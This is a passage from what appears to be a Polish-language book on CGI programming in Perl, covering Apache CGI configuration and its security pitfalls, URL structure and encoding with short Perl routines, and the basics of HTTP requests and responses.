Należy pamiętać, że po jakichkolwiek zmianach w plikach konfiguracyjnych Apache musi ponownie je odczytać. Nie trzeba w tym celu przeprowadzać pełnego restartu serwera, chociaż sposób ten jest skuteczny. Jeżeli w danym systemie istnieje polecenie apachectl (obecne jest w standardowej instalacji), za jego pomocą można nakazać serwerowi Apache ponowne odczytanie konfiguracji: $ apachectl graceful Do jego wykonania może być wymagane posiadanie uprawnień nadużytkownika (tj. root). Konfigurowanie skryptów CGI Włączanie możliwości wykonania CGI w Apache jest bardzo proste, niemniej jednak jest na to dobry i nieco mniej dobry sposób. Zacznijmy od sposobu dobrego, który polega między innymi na utworzeniu specjalnego katalogu na skrypty CGI. Konfiguracja oparta na katalogu Dyrektywa ScriptAlias nakazuje serwerowi Web, aby określony katalog na dysku odwzorowywał na podaną ścieżkę wirtualną (ścieżkę w URL-u) oraz aby wszelkie pliki w nim zawarte wykonywał jako skrypty CGI. Aby skrypty CGI stały się dostępne dla serwera Web, w pliku httpd.conf należy umieścić dyrektywę: ScriptAlias /cgi /usr/local/apache/cgi-bin Na przykład, jeśli użytkownik sięga pod URL: http://your_host.com/cgi/pewien_skrypt.cgi wówczas serwer wykona następujący lokalny program: /usr/local/apache/cgi-bin/pewien_skrypt.cgi Należy zwrócić uwagę, że ścieżka cgi w URL-u nie musi nosić takiej samej nazwy, jak katalog systemu plików, czyli cgi-bin. To, czy katalog CGI ma być odwzorowy-wany na ścieżkę wirtualną o nazwie cgi, cgi-bin, czy jeszcze inną, zależy wyłącznie od osobistych preferencji. Ponadto, jeśli zajdzie taka potrzeba, skrypty CGI można przechowywać w kilku katalogach: ScriptAlias /cgi /usr/local/apache/cgi-bin/ ScriptAlias /cgi2 /usr/local/apache/alt-cgi-bin/ Katalog zawierający skrypty CGI musi się znajdować poza głównym katalogiem dokumentów serwera. W standardowej instalacji serwera Apache główny katalog dokumentów odwzorowywany jest na katalog htdocs. Wszystkie pliki poniżej tego katalogu są dostępne do przeglądania. Domyślnie katalog cgi-bin nie jest umieszczany poniżej htdocs, gdybyśmy więc wyłączyli dyrektywę ScriptAlias, dostęp do skryptów CGI nie byłby możliwy. Istnieje bardzo słuszny powód takiego zorganizowania katalogów i nie chodzi tu tylko o to, by zabezpieczyć się przed przypadkowym skasowaniem przez kogoś dyrektywy ScriptAlias. Oto przykład, dlaczego katalogu skryptów CGI nie należy umieszczać w głównym katalogu dokumentów. Powiedzmy, że zdecydowaliśmy się na układ, w którym kilka katalogów przeznaczonych na skrypty CGI całej struktury Web będzie się mieścić w głównym katalogu dokumentów. Możemy uznać, że nie od rzeczy będzie, aby na każdą z większych aplikacji przeznaczyć osobny katalog. Załóżmy, że mamy inter-netowy magazyn widgetów, który umieszczamy w /usr/local/apache/htdocs/widgety, a katalog skryptów CGI w /usr/local/apache/htdocs/widgety/cgi. Potem dodajemy następującą dyrektywę: ScriptAlias/widgety-cgi /usr/local/apache/htdocs/widgety/cgi Gdybyśmy tak zrobili i przeprowadzili testy, wszystko działałoby poprawnie. Przypuśćmy jednak, że firma rozszerzy później swoją ofertę, sprzedając oprócz widgetów także wuzle, więc utworzony wcześniej magazyn potrzebuje nowej, ogólniejszej nazwy. Przemianowujemy katalog widgety na magazyn, uaktualniamy dyrektywę ScriptAlias, uaktualniamy wszystkie powiązane łącza HTML, po czym tworzymy symboliczne łącze z widgety do magazyn, aby móc obsłużyć użytkowników, którzy założyli już sobie zakładki do poprzedniej nazwy. Plan wydaje się niezły, czyż nie? Niestety, ostatni etap, czyli łącze symboliczne, wytworzyło sporą lukę w bezpieczeństwie systemu. Problem polega na tym, że teraz do skryptów CGI można sięgnąć za pośrednictwem dwóch URL-i. Mając na przykład skrypt CGI o nazwie zakup.cgi, można by do niego sięgnąć dwiema drogami: http://localhost/magazyn-cgi/zakup.cgi http://localhost/widgety-cgi/zakup.cgi Pierwszy URL zostanie obsłużony przez dyrektywę ScriptAlias, lecz drugi już nie. Jeżeli użytkownicy podejmą próbę sięgnięcia pod drugi z wymienionych URL-i, zamiast otrzymać stronę Web, otrzymają kod źródłowy skryptu CGI. Będziemy mogli mówić o szczęściu, jeśli ktoś powiadomi nas pocztą elektroniczną o zaistniałym problemie. Jeśli nie, złośliwy użytkownik może zacząć szperać po naszych skryptach CGI, wyszukując luki w zabezpieczeniach, aby włamać się do systemu i uzyskać cenniejsze informacje (takie jak hasła do baz danych lub numery kart kredytowych). Każde łącze symboliczne do miejsca powyżej katalogu zawierającego skrypty CGI umożliwia powstanie 1 wspomnianej luki w zabezpieczeniach. Przedstawiony scenariusz, oparty na przemianowaniu katalogu i ustanowieniu łącza do dotychczasowej nazwy, to zaledwie jedna z przykładowych sytuacji, gdy nieświadomie tworzymy lukę. Jeśli skrypty CGI umieścimy poza katalogiem głównym serwera, nigdy nie będziemy się musieli martwić tym, czy skrypty nie zostaną przez przypadek narażone na penetrację. 1 Istnieje rozwiązanie alternatywne: serwer Apache można skonfigurować tak, aby nie stosował się do łączy symbolicznych. Niemniej łącza symboliczne bywają bardzo użyteczne, toteż domyślnie są one włączone. Problem nie dotyczy wprost łączy symbolicznych, lecz wynika z przechowywania skryptów CGI w miejscu dostępnym do przeglądania.
Programowanie CGI w Perlu
9
Może zastanawiać, dlaczego ujawnienie kodu źródłowego stanowi aż taki problem. Otóż skrypty CGI mają pewną cechę, która z punktu widzenia bezpieczeństwa znacząco je różni od innego rodzaju plików wykonywalnych. Umożliwiają zdalnym anonimowym użytkownikom uruchamianie programów w ramach danego systemu. Dlatego bezpieczeństwo zawsze powinno być poważnie traktowane, a kod nie może mieć żadnych wad, jeśli chcemy uniemożliwić potencjalnym intruzom przeglądanie kodu źródłowego. Chociaż bezpieczeństwo uzyskiwane poprzez „nie-widoczność" nie stanowi najlepszej ochrony, z pewnością nie zaszkodzi, gdy połączymy je z innymi formami zabezpieczeń. Kwestię bezpieczeństwa omówimy szerzej w rozdziale 8, „Bezpieczeństwo". Konfiguracja oparta na rozszerzeniu Alternatywna konfiguracja skryptów CGI w stosunku do opartej na wspólnym katalogu polega na rozproszeniu skryptów w drzewie dokumentów i spowodowaniu, by serwer Web rozpoznawał je po rozszerzeniach nazw plików, na przykład .cgt. Jest to bardzo złe podejście zarówno z punktu widzenia architektury, jak i pod względem bezpieczeństwa. Z punktu widzenia architektury, konfiguracji tej nie powinno się stosować dlatego, iż mając wspólny katalog dla wszystkich skryptów CGI, łatwiej nimi zarządzać. Wraz z powiększaniem się struktur Web coraz trudniejsze staje się zachowanie kontroli nad wszystkimi skryptami używanymi w danej strukturze. Umieszczenie ich poniżej wspólnego katalogu sprawia, że łatwiej jest je odszukać, a ponadto skłania do tworzenia uniwersalnych skryptów CGI o wielorakim zastosowaniu, zamiast licznych skryptów jednozadaniowych. Poniżej głównego katalogu /cgi można następnie utworzyć podkatalogi, aby w pewien sposób posegregować skrypty. Istnieją dwie przyczyny, dla których konfigurowanie skryptów oparte na rozszerzeniu jest niebezpieczne. Po pierwsze, każdemu, kto ma uprawnienia do uaktualniania plików HTML, umożliwia tworzenie skryptów CGI. Jak już mówiliśmy, skrypty CGI wymagają, by ich bezpieczeństwu poświęcić szczególną uwagę, i nie powinno się pozwolić początkującym programistom na tworzenie skryptów na publicznie dostępnym serwerze Web. Po drugie, zwiększa to prawdopodobieństwo, że ktoś może zajrzeć do kodu źródłowego skryptów CGI. Wiele edytorów tekstu tworzy pliki kopii zapasowych podczas redagowania pliku; niektóre z nich tworzą je w tym samym katalogu, w którym znajduje się właściwy plik. Na przykład, jeśli redagowalibyśmy w edytorze enwcs plik o nazwie superJajny.cgi, to edytor ten zapewne utworzyłby plik kopii zapasowej o nazwie super Jajny.cgi-. Jeżeli ten drugi plik powstanie na publicznym serwerze Web, a ktoś przypadkiem, na skutek omsknięcia się palca, wywoła ten plik, serwer Web nie rozpozna rozszerzenia i po prostu zwróci kod źródłowy w postaci jawnej. Edytor tekstu powinien oczywiście kasować te pliki po zakończeniu pracy nad nimi, ale ściśle rzecz biorąc, plików w ogóle nie powinno się redagować na publicznym serwerze Web. Mimo wszystko takie pliki niekiedy jednak pozostają i może się to zdarzyć na serwerze publicznym. Ponadto nazwy plików czasami zmienia się ręcznie. Projektant może wprowadzić zmiany do pliku, zapisując przy tym kopię zapasową danego pliku, która powstanie przez skopiowanie i zmianę rozszerzenia w nazwie na .bak. Gdyby plik kopii zapasowej znalazł się w katalogu wskazanym przez ScriptAlias, wtedy nie zostałby wyświetlony; zostałby potraktowany jak kolejny skrypt CGI i wykonany, co z pewnością jest o wiele bezpieczniejsze. Zatem, gdyby okazało się, że serwer Web skonfigurowany jest tak, że umieszczanie skryptów CGI możliwe jest w dowolnym miejscu, podajemy środek zaradczy. Poniższy wiersz nakazuje serwerowi wykonywanie wszelkich plików z przyrostkiem .cgi. AddHandler cgi-script .cgi Można go „zakomentować" tak jak w Perlu: poprzedzając znakiem #. Bez tej dyrektywy Apache będzie traktować pliki .cgi jako nieznane i zwracać je w postaci zgodnej z formatem domyślnym - zazwyczaj jako zwykły tekst. Należy więc pamiętać, aby przed usunięciem tej dyrektywy przenieść wszystkie skrypty CGI poza główny katalog dokumentów. Można także wyłączyć uprawnienia do wykonywania CGI w określonych katalogach, wyłączając opcję ExecCGI. Wiersz włączający wygląda następująco: <Directory "/usr/local/apache/htdocs"> ... Options Indexes FollowSymLinks ExecCGI ... </Directory> Poniżej i powyżej dyrektywy Options przypuszczalnie jest wiele innych wierszy, a sama dyrektywa Options w konkretnym wypadku bywa inna. Gdy usuniemy ExecCGI, wtedy nawet po włączeniu wymienionej wcześniej dyrektywy obsługi (AddHandler) CGI Apache nie będzie wykonywać skryptów CGI znajdujących się w miejscu, do którego odnosi się dyrektywa Options - w tym wypadku jest to główny katalog dokumentów /usr/local/apache/htdocs. Użytkownicy otrzymają stronę z komunikatem o błędzie, informującą, że dostęp jest wzbroniony (na przykład „Permission Denied"). Skoro już skonfigurowaliśmy nasz serwer Web, przy okazji przyglądając się możliwościom CGI, możemy się zająć tym interfejsem bardziej szczegółowo. Następny rozdział rozpoczynamy od przeglądu protokołu HTTP, języka sieci Web i fundamentu CGI.
Rozdział 2 HTTP - protokół transferu hipertekstu Protokół transferu hipertekstu, czyli HTTP (Hypertext Transfer Protocol) to wspólny język, który służy przeglądarkom i serwerom Web do wzajemnej komunikaqi przez Internet. CGI opiera się na HTTP, więc w pełnym zrozumieniu CGI z pewnością pomoże poznanie HTTP. O dużych możliwościach CGI stanowi to, że pozwala operować na metadanych wymienianych między przeglądarką a serwerem Web, a tym samym wykonywać wiele użytecznych funkcji, między innymi:
Programowanie CGI w Perlu
10
• Udostępniać treści o rozmaitych typach, językach lub innych metodach kodowania, zgodnie z wymaganiami klienta. • Sprawdzać miejsce poprzednio odwiedzone przez użytkownika. • Sprawdzać typ oraz wersję przeglądarki i dostosowywać do niej swoją odpowiedź. • Określać, jak długo klient może przechowywać stronę w pamięci podręcznej (buforować ją), zanim zostanie uznana za nieaktualną, a tym samym wymagającą ponownego załadowania. Nie omówimy wszystkich szczegółów HTTP, a jedynie to, co jest istotne do zrozumienia CGI. Skupimy się zwłaszcza na procesie żądania i odpowiedzi: w jaki sposób przeglądarka zwraca się o stronę Web i w jaki sposób ją otrzymuje. W razie zainteresowania zagadnieniami HTTP wykraczającymi poza materiał zamieszczony w tej książce, polecamy serwis World Wide Web Consortium, znajdujący się pod adresem http://ivww.w3.org/Protocols/. Z kolei chęć jak najszybszego przejścia do pisania skryptów CGI może skłaniać do pominięcia bieżącego rozdziału. Radzimy jednak tego nie robić. Chociaż skrypty CGI można się nauczyć pisać bez znajomości HTTP, przy braku szerszego ujęcia nauka będzie polegać na zapamiętywaniu, jak co zrobić, zamiast na zrozumieniu, dlaczego. Jest to z pewnością najtrudniejszy rozdział, ponieważ przedstawiamy obszerne omówienie, które nie obfituje w przykłady. Jeśli zatem stwierdzisz, że wywód jest zbyt suchy i zechcesz przeskoczyć do atrakcyjniejszych części, nie będziemy mieć o to żalu. Trzeba jedynie pamiętać, aby później do niniejszego rozdziału wrócić.
URL-e Przy omawianiu HTTP i CGI często będziemy się odwoływać do URL-i, czyli jednolitych lokatorów zasobów (Uniform Resource Locators). Dla tych, którzy korzystali z sieci Web, URL-e nie są zapewne obce. W terminologii webowej zasób (ang. resource) oznacza wszystko, co jest dostępne w sieci Web: może to być strona HTML, obraz, skrypt CGI itd. URL-e zapewniają ujednolicony sposób odwoływania się do tych zasobów w sieci Web. Warto zwrócić uwagę, że URL-e w istocie nie są ograniczone do HTTP i mogą się odwoływać do zasobów za pośrednictwem różnych protokołów. Jednak w tutejszym omówieniu skoncentrujemy się wyłącznie na URL-ach protokołu HTTP. Co to są URI? Niektórzy, spotykając się z terminem URI, zastanawiają się nad różnicami między URI a URL-em. W rzeczywistości terminy te często można traktować zamiennie, ponieważ wszystkie URL-e to URI. URI, czyli jednolite identyfikatory zasobów (Uniform Resource Identifiers), są ogólniejszą klasą, obejmującą oprócz URL-i także URN-y, czyli jednolite nazwy zasobów (Uniform Resource Names). URN stanowi nazwę, która pozostaje ściśle przypisana do obiektu nawet wtedy, gdy zmienia się położenie samego obiektu. Można tu posłużyć się taką oto analogią: nazwisko jest podobne do URN-a, natomiast adres przypomina URL. Obydwa na swój sposób służą do identyfikacji i pod tym względem obydwa są identyfikatorami URI. Ponieważ URN-y są jedynie koncepcją i nie są obecnie stosowane w sieci Web, URL-e można bezpiecznie utożsamiać z URI, nie popełniając uchybienia terminologicznego. Nie jesteśmy zainteresowani innymi postaciami identyfikatorów URI, dlatego aby uniknąć niepotrzebnego zamieszania, będziemy stosować termin URL. Elementy URL-a Na URL-e HTTP składają się: schemat, nazwa hosta, numer portu, ścieżka, łańcuch zapytania oraz identyfikator fragmentu (zob. rysunek 2.1). Każdy z tych elementów można pominąć w określonych okolicznościach. Schemat Host Fragment http: //www.oreilly.com :80 Rysunek 2.1. Składniki URL-a
Port
Ścieżka
/cgi/calender.cgi ?
Zapytanie month=july
#
week3
URL-e HTTP zawierają następujące elementy: Schemat Schemat reprezentuje protokół, którym w naszym wypadku będzie albo http, albo https. https reprezentuje połączenie z bezpiecznym serwerem Web. Więcej informacji znajduje się w ramce zatytułowanej „SSL". Host Host identyfikuje maszynę, na której działa serwer Web. Może to być nazwa domeny lub adres IP, mimo to stosowanie adresów IP w URL-ach jest złą praktyką i usilnie się ją odradza. Problem polega na tym, że adresy IP często ulegają zmianom z rozlicznych powodów: serwis Web może zostać przeniesiony na inną maszynę lub wręcz znaleźć się w innej sieci. Nazwy domen w takich sytuacjach mogą pozostać nienaruszone, dzięki czemu zmiany będą niezauważalne dla użytkownika. Numer portu Numer portu nie jest stałym elementem URL-a. Ponadto w URL-u może się znaleźć tylko wtedy, gdy podana jest nazwa hosta. Host i port oddziela się dwukropkiem. Jeżeli port nie jest określony, w URL-u http użyty zostaje port 80, a w URL-u https -port 443.
Programowanie CGI w Perlu
11
Możliwe jest też takie skonfigurowanie serwera Web, aby odpowiadał przez inne porty. Często się tak robi, gdy dwa różne serwery Web muszą funkcjonować na tej samej maszynie lub jeśli na danym serwerze Web operuje osoba, która nie ma wystarczających uprawnień do uruchamiania serwera na wymienionych portach (np. w wypadku maszyn uniksowych tylko użytkownik root może posługiwać się portami o numerach poniżej 1024). Mimo to serwery korzystające z portów innych niż standardowe 80 i 443 mogą być niedostępne dla użytkowników spoza zapory ogniowej. Niektóre zapory ogniowe są skonfigurowane tak, że zawężają dostęp do jedynie skromnego zestawu portów w ramach domyślnych ustawień dozwolonych protokołów. Informacja o ścieżce Informacja o ścieżce reprezentuje położenie żądanego zasobu, na przykład pliku HTML lub skryptu CGI. Serwer, w zależności od swojej konfiguracji, może, ale nie musi, odwzorowywać ścieżkę na konkretną ścieżkę do pliku w danym systemie. Jak wspomnieliśmy w poprzednim rozdziale, ścieżka URL skryptów CGI na ogół zaczyna się od /cgi/ lub /cgi-bin/. Ścieżki te odwzorowywane są zwykle na podobnie nazwane katalogi serwera Web, na przykład /usr/local/apache/cgi-bin. Należy zwrócić uwagę, że URL skryptu może zawierać informację o ścieżce, która nie ogranicza się do informacji o położeniu skryptu. Załóżmy, że skrypt CGI przechowujemy pod URL-em: http://localhost/cgi/szukaj_dokum.cgi Do tego skryptu możemy przekazać dodatkową informację, dołączając ją na końcu, na przykład: http://localhost/cgi/szukaj_dokum.cgi/docs/produkt/opis.text W powyższym przykładzie do skryptu przekazywana jest ścieżka /docs/produkt/ opis.text. W następnym rozdziale szerzej objaśnimy, jak sięgnąć do tej dodatkowej informacji i jak się nią posługiwać. Łańcuch zapytania Łańcuch zapytania służy do przekazywania do skryptów dodatkowych parametrów. Czasami jest nazywany łańcuchem wyszukiwawczym lub indeksem. Może zawierać pary nazwa-wartość, przy czym poszczególne pary oddzielane są etką (znak &, ang. ampersand), zaś nazwę od wartości oddziela znak równości (=). Analizę składniową informacji zawartych w tym łańcuchu oraz sposób ich użycia w skrypcie omówimy w następnym rozdziale. Łańcuch zapytania może też zawierać dane, które nie są podane w postaci par nazwa-wartość. Łańcuch, który nie zawiera znaku równości, często jest nazywany indeksem. Każdy argument powinien być oddzielony od kolejnego zakodowaną spacją (jako + albo %20 - zob. „Kodowanie w URL-ach"). Skrypty CGI obsługują indeksy trochę inaczej, z czym zapoznamy się w następnym rozdziale. Identyfikator fragmentu Identyfikator fragmentu odwołuje się do określonej części zasobu. Nie jest wysyłany do serwera Web, więc skrypty CGI nie mają dostępu do tego składnika URL-a. Przeglądarka pobiera zasób, a następnie, posługując się identyfikatorem fragmentu, odnajduje w zasobie odpowiednią część. W wypadku dokumentów HTML identyfikatory fragmentów odnoszą się do znaczników kotwic (punktów zaczepienia) zawartych w dokumencie: <a name="kotwica">Fragment, do którego właśnie sięgnąłeś...</a> Poniższy URL spowodowałby zażądanie całego dokumentu od serwera, a następnie przewinięcie go w przeglądarce do pozycji opatrzonej znacznikiem kotwicy: http://localhost/dokument.html#kotwica Przeglądarki Web, gdy nie odnajdą kotwicy podanej w identyfikatorze fragmentu, na ogół przeskakują na koniec dokumentu. URL-e względne i bezwzględne Nie wszystkie elementy URL-a muszą być podawane. W URL-u można pominąć schemat, nazwę hosta i numer portu, jeśli użycie URL-a następuje w jednoznacznym kontekście. Na przykład, jeśli URL zostanie umieszczony w łączu na stronie HTML z pominięciem wymienionych elementów, przeglądarka przyjmie, że łącze odnosi się do zasobu na tej samej maszynie co łącze. URL-e dzielą się na dwie klasy: URL-e bezwzględne URL-e, które zawierają nazwę hosta, nazywane są URL-ami bezwzględnymi (absolutnymi). Przykładowy URL bezwzględny: http://localhost/cgi/skrypt.cgi. URL-e względne URL-e bez schematu, hosta lub portu nazywane są URL-ami względnymi. Dzielą się dalej na ścieżki pełne i względne: Ścieżki pełne URL-e względne ze ścieżkami bezwzględnymi niekiedy nazywane są ścieżkami pełnymi (ścieżkami, mimo że mogą dodatkowo zawierać łańcuch zapytania oraz identyfikator fragmentu). Ścieżki pełne od URL-i ze ścieżkami względnymi różnią się tym, że zawsze zaczynają się ukośnikiem pochylonym w przód (/). Ścieżki w każdym z tych wypadków są ścieżkami wirtualnymi i niekoniecznie odpowiadają ścieżkom w systemie plików serwera Web. Przykładowa ścieżka bezwzględna: /index.html. Ścieżki względne URL-e względne zaczynające się znakiem innym niż ukośnik (/) są ścieżkami względnymi. Przykładowe ścieżki względne: skrypt.cgi oraz ./images/fotos.jpg. Kodowanie w URL-ach Z różnych względów wiele znaków w URL-ach musi być kodowanych. Na przykład znaki takie jak ?, # oraz / mają specjalne znaczenie w URL-ach, więc bez kodowania byłyby błędnie interpretowane. W niektórych systemach możliwe jest nadanie plikowi nazwy dok#2.html, lecz URL o postaci http://localhost/dok#2.html nie wskazywałby na ten dokument. Wskazywałby natomiast fragment 2.html w (zapewne nie istniejącym) pliku o
Programowanie CGI w Perlu
12
nazwie dok. Znak # musimy zakodować, aby przeglądarka i serwer Web rozpoznały, że stanowi część nazwy zasobu. Kodowanie znaku polega na zapisaniu go za pomocą znaku procentu (%), po którym podaje się dwucyfrową wartość szesnastkową danego znaku opartą na zestawie znaków ISO Latin l lub ASCII (zestawy te są jednakowe do siódmego bitu włącznie). Na przykład szesnastkową wartość symbolu # wynosi 0x23, więc kodowany jest jako %23. Kodowane muszą być następujące znaki: • znaki sterujące: ASCII 0x00 do 0xlF oraz 0x7F, • znaki ośmiobitowe: ASCII 0x80 do 0xFF, • znaki o szczególnym znaczeniu w URL-ach: ,;/?:@&=+$, • znaki często stosowane jako ograniczniki w URL-ach: <>#%", • znaki uznawane za ryzykowne, ponieważ mogą mieć specjalne znaczenie w niektórych protokołach stosowanych przy przesyłaniu URL-i (np. SMTP): {}|\^[]`. Ponadto spacje powinny być kodowane jako +, lecz dozwolony jest też zapis %20. Jak widać, większość znaków musi być kodowana; lista dozwolonych znaków jest wyraźnie krótsza: • litery: a-z oraz A-Z, • cyfry: 0-9, • następujące znaki: - _.!~*'(). Kodowanie wyżej wymienionych znaków jest dopuszczalne i nierzadko stosowane w niektórych programach. Dlatego każda aplikacja dekodująca URL musi dekodować każde wystąpienie znaku procentu, po którym następują dwie cyfry szesnast-kowe. Poniższy kod koduje tekst pod kątem URL-i: sub koduj_url { my $tekst = shift; $tekst =~ s/([^a-z0-9_.!~*’() -])/sprintf "%%%02X", ord($1)/egi; $tekst =~ tr/ /+/; return $tekst; } Każdy znak spoza zestawu znaków dozwolonych jest zastępowany znakiem procentu z dwucyfrowym równoważnikiem szesnastkowym. Niezbędne są trzy znaki procentu, ponieważ w funkcji sprintf znaki procentu wskazują kody formatowania, a sam znak procentu podaje się jako dwa takie znaki. Nasz kod formatujący obejmuje znak procentu, tutaj jako % %, oraz kod formatowania liczby w postaci dwóch cyfr szesnastkowych, %02X. Kod dekodujący zakodowany URL wygląda następująco: sub dekoduj_url { my $tekst = shift; $tekst =~ tr/\+/ /; $tekst =~ s/%([a-f0-9][a-f0-9])/chr(hex($1))/egi; return $tekst; } Najpierw wszystkie znaki plusa przekładane są na spacje. Następnie poszukiwany jest znak procentu z następującymi po nim dwiema cyframi szesnastkowymi, przy czym za pomocą funkcji chr języka Perl ewentualna wartość szesnastkowa przekształcana jest na znak. Powtórzenie operacji kodowania lub dekodowania na tym samym tekście wprowadza przekłamania. Tekst dwukrotnie kodowany różni się od tekstu kodowanego tylko raz, ponieważ znaki procentu kodujące za pierwszym razem same zostałyby zakodowane za drugim. Podobnie, nie można zakodować ani zdekodować całego URL-a. Analiza URL-a po zdekodowaniu nie jest wiarygodna, ponieważ mogły zostać wprowadzone znaki, których interpretacja mogłaby być błędna, na przykład / lub ?. Rozbiór URL-a na składniki zawsze należy przeprowadzać, zanim zostaną zdekodowane; tak samo kodowanie składników powinno nastąpić przed złożeniem ich w cały URL. Warto wiedzieć, jak działa koło, lecz wynajdywanie go od nowa jest bezcelowe. Choć właśnie się dowiedziałeś, jak kodować i dekodować tekst URL-i, nie należy tego robić samemu. Moduł URI (w rzeczywistości kolekcja modułów), dostępny w sieci CPAN (zob. dodatek B, „Moduły Perla") dostarcza wielu modułów i funkcji do obsługi URL-i. Jeden z tych modułów, URI::Escape, udostępnia funkcje uri_escape oraz uri_unescape. Warto z nich skorzystać. Procedury w tych modułach zostały dokładnie przetestowane, a kolejne ich wersje będą 2 odzwierciedlać wszelkie zmiany zachodzące w trakcie ewolucji protokołu HTTP. Stosowanie standardowych procedur sprawia ponadto, że kod staje się przejrzystszy dla tych, którzy później będą musieli się nim zajmować (włącznie z jego autorem). Jeżeli ktoś, nie zważając na te zalecenia, będzie się upierać przy pisaniu własnego kodu dekodującego, powinien go umieścić przynajmniej w odpowiednio nazwanej procedurze. Z pewnością niektóre takie procedury będą się składać zaledwie z jednej lub dwóch linijek kodu, ale kod z natury bywa dość tajemniczy, więc operacje powinny być opatrzone zrozumiałymi etykietami.
2 Chyba nikt nie ma wątpliwości, że to nastąpi. Dziś aż trudno uwierzyć, że tylda (~) nie zawsze była dozwolona w URL-ach. Zastrzeżenie to zostało usunięte, od kiedy na niektórych serwerach Web powszechną praktyką stało się traktowanie podanej w ścieżce nazwy użytkownika poprzedzonej tyldą jako wskazania na osobisty katalog Web danego użytkownika.
Programowanie CGI w Perlu
13
HTTP Skoro już pogłębiliśmy wiedzę o URL-ach, powróćmy do głównego tematu bieżącego rozdziału: HTTP, protokołu, który służy klientom i serwerom do komunikacji w sieci Web. SSL HTTP nie jest protokołem bezpiecznym, a wiele protokołów sieciowych (na przykład ethernetowy) pozwala na podsłuchiwanie konwersacji między dwoma komputerami przez inne komputery w tym samym obszarze sieci. Dlatego jest wielce prawdopodobne, że ktoś nieupoważniony „podsłucha" transakcje HTTP i zarejestruje dane uwierzytelniające, numery kart kredytowych i inne ważne informacje. Z tego powodu firma Netscape opracowała protokół warstwy bezpiecznych gniazd, czyli SSL (Secure Sockets Layer), zapewniający bezpieczny kanał komunikacyjny, poprzez który może działać HTTP, równocześnie zapewniający ochronę przed podsłuchaniem i innymi naruszeniami prywatności. SSL został ujęty w postaci standardu IETF i obecnie oficjalnie nazywany jest protokołem bezpieczeństwa warstwy transportowej, czyli TLS (Transport Layer Security) - TLS 1.0 to w istocie SSL 3.1. Jeszcze nie wszystkie przeglądarki obsługują TLS. Kiedy przeglądarka zgłasza żądanie URL-a rozpoczynającego się od h t tp s, ustanawia połączenie SSL (TLS) ze zdalnym serwerem i poprzez to bezpieczne połączenie przeprowadza transakcje HTTP. Na szczęście do pisania skryptów nie jest potrzebna szczegółowa znajomość zasad działania takiego połączenia, ponieważ serwer Web obsługuje je w sposób przezroczysty dla skryptu. Standardowe skrypty CGI będą działać tak samo w środowisku bezpiecznym, jak w standardowym. Gdy jednak skrypt CGI odbiera bezpieczne połączenie SSL (TLS), pojawiają się dodatkowe informacje o kliencie i połączeniu. Omówimy je w następnym rozdziale. Cykl żądania i odpowiedzi Przeglądarka Web, zgłaszając żądanie strony Web, wysyła wiadomość z żądaniem do serwera Web. Wiadomość zawsze zawiera nagłówek, a niekiedy także część zasadniczą (treść). Serwer Web z kolei odpowiada wiadomością z odpowiedzią. Także ta wiadomość zawsze składa się z nagłówka i zwykle zawiera część zasadniczą. W protokole HTTP istotne są dwie jego cechy: • Jest to protokół typu żądanie-odpowiedź: każda odpowiedź poprzedzona jest żądaniem. • Chociaż żądania i odpowiedzi zawierają odmienne informacje, struktura nagłówka i części zasadniczej jest taka sama w obydwu typach wiadomości. Nagłówek zawiera metainformacje (ang. meta-information), czyli informacje o wiadomości, a część zasadnicza zawiera treść (ang. content) wiadomości. Rysunek 2.2 przedstawia przykładową transakcję HTTP. Powiedzmy, że w przeglądarce podaliśmy, iż chcemy pobrać dokument http://localhost/index.html. Przeglądarka połączy się z maszyną pod adresem localhost na porcie 80 i wyśle na przykład następującą wiadomość: GET /index.html HTTP/1.l Host: localhost Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/xbm, */* Accept-Language: en Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 4.5; Mac_PowerPC) Założywszy, że serwer Web działa, a ścieżka ma odwzorowanie w postaci istniejącego dokumentu, serwer odpowie na przykład następującą wiadomością: HTTP/1.l 200 OK Datę: Sat, 18 Mar 2000 20:35:35 GMT Server: Apache/1.3.9 (Unix) Last-Modified: Wed, 20 May 1998 14:59:42 GMT ETag: "74916-656-3562efde" Content-Length: 141 Content-Type: text/html <HTML> <HEAD><TITLE>Dokument przykładowy</TITLE></HEAD> <BODY> <Hl>Dokument przykładowy</Hl> <P>Oto dokument przykładowy!</P> </BODY> </HTML> W przedstawionym przykładzie żądanie obejmuje nagłówek, lecz nie zawiera treści. Odpowiedź obejmuje zarówno nagłówek, jak i treść HTML, oddzieloną od nagłówka pustym wierszem (zob. rysunek 2.3). HTTP/1.1 200 OK nagłówek Content-Type: text/html Content-Length: 300 <HTML> . Część zasadnicza . . </HTML> Rysunek 2.3. Struktura wiadomości HTTP z nagłówkiem i częścią zasadniczą
Programowanie CGI w Perlu
14
Nagłówki HTTP Jeżeli znamy format internetowej poczty elektronicznej, to wyżej przedstawiona składnia nagłówka i części zasadniczej również wyda się nieobca. Format wiadomości HTTP, ze względów historycznych, oparty jest na wielu konwencjach stosowanych w internetowej poczcie elektronicznej, ustanowionych w ramach MIME (Multipurpose Internet MaH Extensions). Mylne jednak byłoby przekonanie, że nagłówki HTTP i MIME są jednakowe. Podobieństwa dotyczą tylko niektórych pól, a wiele początkowych zbieżności uległo zmianie w późniejszych wersjach HTTP. Oto kilka ważnych informacji dotyczących składni nagłówka: • Pierwszy wiersz nagłówkowy ma wyjątkowy format i specjalne znaczenie. Nazywany jest wierszem żądania (ang. reąuest linę) w żądaniach i wierszem stanu (ang. status linę) w odpowiedziach. • Pozostałe wiersze nagłówkowe zawierają pary nazwa-wartość. Nazwę i wartość oddziela dwukropek oraz dowolna liczba spacji i (lub) tabulacji. Wiersze te nazywane są polami nagłówkowymi (ang. header fields). • Niektóre pola nagłówkowe mogą mieć kilka wartości. Reprezentaqą w takiej sytuacji może być kilka osobnych pól nagłówkowych o tej samej nazwie i różnych wartościach albo pojedyncze pole nagłówkowe, w którym zebrane razem są wszystkie wartości pooddzielane przecinkami. • W nazwach pól wielkość liter nie ma znaczenia; na przykład Content-Type oznacza to samo, co Content-type. • Pola nagłówka nie muszą być ułożone w określonym porządku. • Każdy wiersz w nagłówku musi się kończyć znakiem powrotu karetki oraz znakiem przejścia do nowego wiersza. Para ta często oznaczana jest skrótem CRLF (ang. carriage return, linę feed), a w Perlu w systemach ASCII przedstawiana jest jako \015\012. • Nagłówek HTTP musi być oddzielony od treści pustym wierszem. Innymi słowy, ostatni wiersz nagłówkowy musi się kończyć dwoma CRLF-ami. HTTP 1.1 a HTTP 1.0 W niniejszym 